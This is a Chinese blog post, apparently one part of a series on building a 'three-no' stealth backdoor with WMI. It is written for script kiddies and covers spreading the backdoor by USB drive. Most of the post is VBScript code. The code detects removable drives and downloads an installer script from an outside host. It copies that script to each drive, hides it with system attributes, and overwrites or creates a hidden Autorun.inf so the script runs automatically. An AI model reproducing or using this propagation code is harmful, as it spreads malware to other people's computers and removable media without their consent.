利用WMI打造完美“三无”后门-U盘侦测与Autorun

来源:菠萝的菠萝格

Welcome!各位ScriptKid,欢迎来到脚本世界。

一个好的后门,肯定要有一个比较好的传播方式。比如读取本地联系人列表发送邮件,U盘感染,QQ,MSN传播等等。利用WMI提供的强大windows管理接口来实现多样的传播方式非常简单。这里我只介绍一下U盘方式。

Win32_LogicalDisk类提供了很好的识别各类驱动器的接口。我们可以很轻易的识别出我们可以感染的移动设备。来看代码:

Function DetectDisk
Set DiskInfos=WMIService.ExecQuery(“Select * from Win32_LogicalDisk”) //查询本机所有逻辑盘
For Each DiskInfo in DiskInfos
If DiskInfo.DriveType=2 And DiskInfo.MediaType=5 Then //排除可移动的软驱干扰,这里不是非常严谨。
Else If DiskInfo.DriveType=2 And Not FSO.FileExists(DiskInfo.Name&”\Autorun.inf”) Then //以下生成后门安装的vbs
Http.Open “GET”,”http://scriptkids.cn/bbs/ScriptKids-install.vbs”,False //用下载方式获取安装程序
Http.Send
fso.CreateTextFile(DiskInfo.Name&”\scriptkids.vbs”)
ASO.open
ASO.loadfromfile DiskInfo.Name&”\scriptkids.vbs”
ASO.position=0
ASO.type=1
ASO.Write Http.ResponseBody
ASO.SaveToFile DiskInfo.Name&”\scriptkids.vbs”,2 //写入文件
ASO.close
Xshell.run “attrib +R +S +H “&DiskInfo.Name&”\scriptkids.vbs”,0,TRUE //设置只读、隐藏、系统属性
fso.CreateTextFile(DiskInfo.Name&”\Autorun.inf”) //写Autorun.inf
Set AutorunFile=fso.OpenTextFile(DiskInfo.Name&”\Autorun.inf”,2)
AutorunFile.writeLine “[AutoRun]”
AutorunFile.writeLine “shellexecute=scriptkids.vbs”
AutorunFile.writeLine “shell\Auto\command=scriptkids.vbs”:
AutorunFile.Close
Xshell.run “attrib +R +S +H “&DiskInfo.Name&”\Autorun.inf”,0,TRUE //设置只读、隐藏、系统属性
Else If DiskInfo.DriveType=2 And FSO.FileExists(DiskInfo.Name&”\Autorun.inf”) Then //如果已经存在Autorun.inf
Xshell.run “attrib -R -S -H “&DiskInfo.Name&”\Autorun.inf”,0,TRUE //去除只读、隐藏、系统属性
FSO.DeleteFile(DiskInfo.Name&”\Autorun.inf”) //删除Autorun.inf
DetectDisk //再来写我们的Autorun.inf
End If
End If
End If
Next
End Function

相信对WMI有所了解的同学看起来会很简单。下次给大家带来《利用WMI打造完美“三无”后门-Downloader and Uploader》

相关日志

发表评论